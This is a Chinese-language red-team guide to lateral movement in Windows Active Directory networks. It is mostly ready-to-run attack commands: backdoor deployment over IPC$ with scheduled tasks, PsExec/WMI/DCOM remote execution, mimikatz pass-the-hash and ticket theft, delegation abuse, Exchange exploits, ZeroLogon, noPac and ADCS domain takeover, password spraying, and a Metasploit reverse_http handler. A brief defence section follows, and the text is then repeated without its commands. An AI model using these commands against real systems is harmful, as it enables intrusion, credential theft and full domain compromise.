内网对抗 横向移动
字数 2174 2025-08-29 22:41:24

内网横向移动技术全面指南

1. 域内/域外用户判断

1.1 判断当前权限类型

  • 域内用户:能够执行域查询命令并获取正常回显
    net user /domain
    
  • 域外用户:无法正常执行域查询命令

1.2 域外用户利用方法

  1. 提权到SYSTEM:SYSTEM权限在域内具有更高权限
  2. 切换用户:通过Mimikatz抓取明文密码,尝试其他用户上线
  3. 枚举域内用户
    kerbrute_windows_amd64.exe userenum --dc [IP] -d [域名] [字典文件]
    

2. 横向移动技术分类

2.1 基于口令凭据

  • 协议类型
    • IPC
    • SMB
    • WMI
    • DCOM
    • WinRS/WinRM
    • RDP
  • 认证方式
    • PTH (Pass the Hash)
    • PTT (Pass the Ticket)
    • PTK (Pass the Key)

2.2 基于漏洞

  • 域控提权漏洞
  • Exchange漏洞

2.3 基于配置

  • 委派攻击
  • DCSync
  • ASREP Roasting
  • Kerberos攻击
  • NTLM Relay

3. 具体横向移动技术详解

3.1 IPC$共享利用

利用条件

  • 目标系统为NT及以上
  • 开启IPC$共享
  • 139/445端口开放
  • 有效的账号密码

利用步骤

  1. 建立IPC连接:
    net use \\[目标IP]\ipc$ "[密码]" /user:[用户名]
    
  2. 拷贝后门文件:
    copy [后门文件] \\[目标IP]\c$\
    
  3. 创建计划任务执行:
    at \\[目标IP] [时间] cmd /c "c:\后门.exe"
    
  4. 删除IPC连接:
    net use \\[目标IP]\ipc$ /del
    

3.2 SMB利用

利用条件

  • 文件与打印机服务开启
  • 防火墙允许135/445端口通信
  • 知道目标账户密码或Hash

利用工具

  1. PsExec
    PsExec.exe \\[目标IP] -u [用户] -p [密码] -s cmd
    
  2. smbexec(Impacket)
    python smbexec.py [用户]:[密码]@[目标IP]
    
  3. CS插件:cs-psexec

3.3 WMI利用

利用条件

  • WMI服务开启(135端口)
  • 防火墙允许135/445端口通信
  • 知道目标账户密码或Hash

利用方法

  1. WMIC命令
    wmic /node:[目标IP] /user:[用户] /password:[密码] process call create "cmd /c [命令]"
    
  2. Impacket套件
    python wmiexec.py [用户]:[密码]@[目标IP]
    
  3. CS插件:wmihacker

3.4 DCOM利用

利用条件

  • 目标为Win7及以上系统
  • 管理员权限
  • 远程主机防火墙未阻止

利用工具

python dcomexec.py [用户]:[密码]@[目标IP]

3.5 WinRM/WinRS利用

利用条件

  • Win2012之前需手动开启WinRM
  • 防火墙开放5985/5986端口

利用方法

  1. 探针可用性:
    winrm enumerate winrm/config/listener
    
  2. 执行命令:
    winrs -r:[目标IP] -u:[用户] -p:[密码] "cmd.exe /c [命令]"
    

3.6 RDP利用

利用条件

  • 目标开启RDP服务(3389端口)

利用方法

  1. 端口转发映射
    • 使用冰蝎等工具建立HTTP隧道
  2. Socks代理
    • 建立Socks节点后使用mstsc连接
  3. SharpRDP工具
    SharpRDP.exe computername=[目标IP] command="[命令]" username=[用户] password=[密码]
    

4. 认证攻击技术

4.1 PTH (Pass the Hash)

利用方法

  1. 直接Hash传递
    mimikatz "sekurlsa::pth /user:[用户] /domain:[域] /ntlm:[NTLM Hash]"
    
  2. Impacket套件
    python [工具].py -hashes :[NTLM Hash] [用户]@[目标IP]
    

4.2 PTT (Pass the Ticket)

利用工具

  1. MS14-068漏洞利用
    MS14-068.exe -u [用户]@[域] -p [密码] -s [用户SID] -d [DC IP]
    
  2. Kekeo工具
    kekeo "tgs::s4u /tgt:[TGT文件] /user:[目标用户] /service:[服务]"
    
  3. 历史票据利用
    mimikatz "kerberos::list /export"
    mimikatz "kerberos::ptt [票据文件]"
    

4.3 PTK (Pass the Key)

利用条件

  • 系统安装KB2871997补丁
  • 禁用NTLM认证

利用方法

mimikatz "sekurlsa::ekeys"
mimikatz "sekurlsa::pth /user:[用户] /domain:[域] /aes256:[AES Key]"

5. 委派攻击

5.1 非约束委派

利用条件

  • 机器账户配置"信任此计算机来委派任何服务"

利用方法

  1. 诱使域管理员访问
    • 主动:net use \\[目标]
    • 被动:钓鱼页面诱导访问
  2. 结合打印机漏洞
    Rubeus.exe monitor /interval:2 /filteruser:dc$ >hash.txt
    SpoolSample.exe [DC] [监听主机]
    

5.2 约束委派

利用条件

  • 机器账户配置"仅信任此计算机来委派指定服务"

利用方法

  1. 使用Kekeo工具
    kekeo "tgs::s4u /tgt:[TGT文件] /user:[目标用户] /service:[服务]"
    
  2. 使用Impacket套件
    python getST.py -dc-ip [DC IP] [域]/[机器账户]$:[密码] -spn [服务SPN] -impersonate [目标用户]
    

5.3 基于资源的约束委派(RBCD)

利用条件

  • 同一域用户加入多台主机(SID一致)
  • 或用户属于Account Operators组

利用方法

  1. 创建机器账户
    Import-Module .\Powermad.ps1
    New-MachineAccount -MachineAccount [新机器名] -Password $(ConvertTo-SecureString '密码' -AsPlainText -Force)
    
  2. 修改目标主机委派属性
    $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;[SID])"
    $SDBytes = New-Object byte[] ($SD.BinaryLength)
    $SD.GetBinaryForm($SDBytes, 0)
    Get-DomainComputer [目标主机] | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
    
  3. 申请访问票据
    python getST.py -dc-ip [DC IP] [域]/[新机器账户]$:[密码] -spn [服务SPN] -impersonate [目标用户]
    

6. Exchange服务攻击

6.1 信息收集

  1. 端口扫描:80(OWA),443(ECP),25/587/2525(SMTP)
  2. SPN扫描
    setspn -T [] -q */*
    
  3. 版本探测
    python Exchange_GetVersion_MatchVul.py [IP]
    

6.2 漏洞利用

  1. ProxyShell(CVE-2021-34473,34523,31207)
    python proxyshell.py -u [用户] -p [密码] --host [Exchange IP]
    
  2. CVE-2020-17144
    CVE-2020-17144.exe -u [用户] -p [密码] -d [域] -c [DC] --target [Exchange IP]
    
  3. CVE-2020-0688
    python CVE-2020-0688.py [Exchange URL] [用户] [密码]
    

7. 域控提权漏洞

7.1 CVE-2020-1472 (ZeroLogon)

利用步骤

  1. 检测漏洞
    python zerologon_tester.py [DC名称] [DC IP]
    
  2. 清空凭证
    python cve-2020-1472-exploit.py [DC名称] [DC IP]
    
  3. 获取域Hash
    python secretsdump.py [域]/[DC名称]\$@[DC IP] -no-pass
    
  4. 恢复密码
    python reinstall_original_pw.py [DC名称] [DC IP] [原始Hash]
    

7.2 CVE-2021-42287/42278

利用工具

python noPac.py -use-ldap "[域]/[用户]:[密码]" -dc-ip [DC IP] -shell

7.3 CVE-2022-26923 (ADCS攻击)

利用步骤

  1. 查找易受攻击模板
    python certipy-ad find -u [用户]@[域] -p [密码] -dc-ip [DC IP] -vulnerable
    
  2. 创建机器账户
    python bloodyAD.py -d [域] -u [用户] -p [密码] --host [DC IP] addComputer [机器名] [密码]
    
  3. 设置机器属性
    python bloodyAD.py -d [域] -u [用户] -p [密码] --host [DC IP] setAttribute 'CN=[机器名],CN=Computers,DC=[域]' dNSHostName '["DC名称"]'
    
  4. 申请证书
    python certipy-ad req -username '[机器名]$@[域]' -password '[密码]' -ca [CA名称] -template Machine -debug
    
  5. 获取域控权限
    python wmiexec.py -hashes :[NTLM Hash] [域]/administrator@[DC IP]
    

8. 自动化工具

8.1 CrackMapExec

密码喷射

proxychains crackmapexec smb [IP范围] -u [用户] -p [密码] --local-auth -x "[命令]"

8.2 Impacket套件

包含多种横向移动工具:

  • atexec.py
  • smbexec.py
  • wmiexec.py
  • dcomexec.py

8.3 MSF与CS联动

  1. CS设置监听器:反弹到MSF
  2. MSF接收会话
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_http
    set LHOST [IP]
    set LPORT [端口]
    exploit
    
  3. CS执行spawn msf

9. 防御建议

  1. 限制横向移动协议

    • 禁用不必要的协议(如SMBv1)
    • 限制RDP、WinRM等远程管理服务的访问
  2. 强化认证安全

    • 启用LSA保护
    • 禁用NTLM认证
    • 启用Credential Guard
  3. 监控与检测

    • 监控异常的计划任务创建
    • 检测异常的票据请求
    • 监控敏感注册表键值修改
  4. 补丁管理

    • 及时安装安全补丁
    • 重点关注域控和Exchange服务器
  5. 最小权限原则

    • 限制域用户权限
    • 严格控制委派设置
    • 定期审计账户权限
内网横向移动技术全面指南 1. 域内/域外用户判断 1.1 判断当前权限类型 域内用户 :能够执行域查询命令并获取正常回显 域外用户 :无法正常执行域查询命令 1.2 域外用户利用方法 提权到SYSTEM :SYSTEM权限在域内具有更高权限 切换用户 :通过Mimikatz抓取明文密码,尝试其他用户上线 枚举域内用户 : 2. 横向移动技术分类 2.1 基于口令凭据 协议类型 : IPC SMB WMI DCOM WinRS/WinRM RDP 认证方式 : PTH (Pass the Hash) PTT (Pass the Ticket) PTK (Pass the Key) 2.2 基于漏洞 域控提权漏洞 Exchange漏洞 2.3 基于配置 委派攻击 DCSync ASREP Roasting Kerberos攻击 NTLM Relay 3. 具体横向移动技术详解 3.1 IPC$共享利用 利用条件 : 目标系统为NT及以上 开启IPC$共享 139/445端口开放 有效的账号密码 利用步骤 : 建立IPC连接: 拷贝后门文件: 创建计划任务执行: 删除IPC连接: 3.2 SMB利用 利用条件 : 文件与打印机服务开启 防火墙允许135/445端口通信 知道目标账户密码或Hash 利用工具 : PsExec : smbexec(Impacket) : CS插件 :cs-psexec 3.3 WMI利用 利用条件 : WMI服务开启(135端口) 防火墙允许135/445端口通信 知道目标账户密码或Hash 利用方法 : WMIC命令 : Impacket套件 : CS插件 :wmihacker 3.4 DCOM利用 利用条件 : 目标为Win7及以上系统 管理员权限 远程主机防火墙未阻止 利用工具 : 3.5 WinRM/WinRS利用 利用条件 : Win2012之前需手动开启WinRM 防火墙开放5985/5986端口 利用方法 : 探针可用性: 执行命令: 3.6 RDP利用 利用条件 : 目标开启RDP服务(3389端口) 利用方法 : 端口转发映射 : 使用冰蝎等工具建立HTTP隧道 Socks代理 : 建立Socks节点后使用mstsc连接 SharpRDP工具 : 4. 认证攻击技术 4.1 PTH (Pass the Hash) 利用方法 : 直接Hash传递 : Impacket套件 : 4.2 PTT (Pass the Ticket) 利用工具 : MS14-068漏洞利用 : Kekeo工具 : 历史票据利用 : 4.3 PTK (Pass the Key) 利用条件 : 系统安装KB2871997补丁 禁用NTLM认证 利用方法 : 5. 委派攻击 5.1 非约束委派 利用条件 : 机器账户配置"信任此计算机来委派任何服务" 利用方法 : 诱使域管理员访问 : 主动: net use \\[目标] 被动:钓鱼页面诱导访问 结合打印机漏洞 : 5.2 约束委派 利用条件 : 机器账户配置"仅信任此计算机来委派指定服务" 利用方法 : 使用Kekeo工具 : 使用Impacket套件 : 5.3 基于资源的约束委派(RBCD) 利用条件 : 同一域用户加入多台主机(SID一致) 或用户属于Account Operators组 利用方法 : 创建机器账户 : 修改目标主机委派属性 : 申请访问票据 : 6. Exchange服务攻击 6.1 信息收集 端口扫描 :80(OWA),443(ECP),25/587/2525(SMTP) SPN扫描 : 版本探测 : 6.2 漏洞利用 ProxyShell(CVE-2021-34473,34523,31207) : CVE-2020-17144 : CVE-2020-0688 : 7. 域控提权漏洞 7.1 CVE-2020-1472 (ZeroLogon) 利用步骤 : 检测漏洞 : 清空凭证 : 获取域Hash : 恢复密码 : 7.2 CVE-2021-42287/42278 利用工具 : 7.3 CVE-2022-26923 (ADCS攻击) 利用步骤 : 查找易受攻击模板 : 创建机器账户 : 设置机器属性 : 申请证书 : 获取域控权限 : 8. 自动化工具 8.1 CrackMapExec 密码喷射 : 8.2 Impacket套件 包含多种横向移动工具: atexec.py smbexec.py wmiexec.py dcomexec.py 等 8.3 MSF与CS联动 CS设置监听器 :反弹到MSF MSF接收会话 : CS执行 : spawn msf 9. 防御建议 限制横向移动协议 : 禁用不必要的协议(如SMBv1) 限制RDP、WinRM等远程管理服务的访问 强化认证安全 : 启用LSA保护 禁用NTLM认证 启用Credential Guard 监控与检测 : 监控异常的计划任务创建 检测异常的票据请求 监控敏感注册表键值修改 补丁管理 : 及时安装安全补丁 重点关注域控和Exchange服务器 最小权限原则 : 限制域用户权限 严格控制委派设置 定期审计账户权限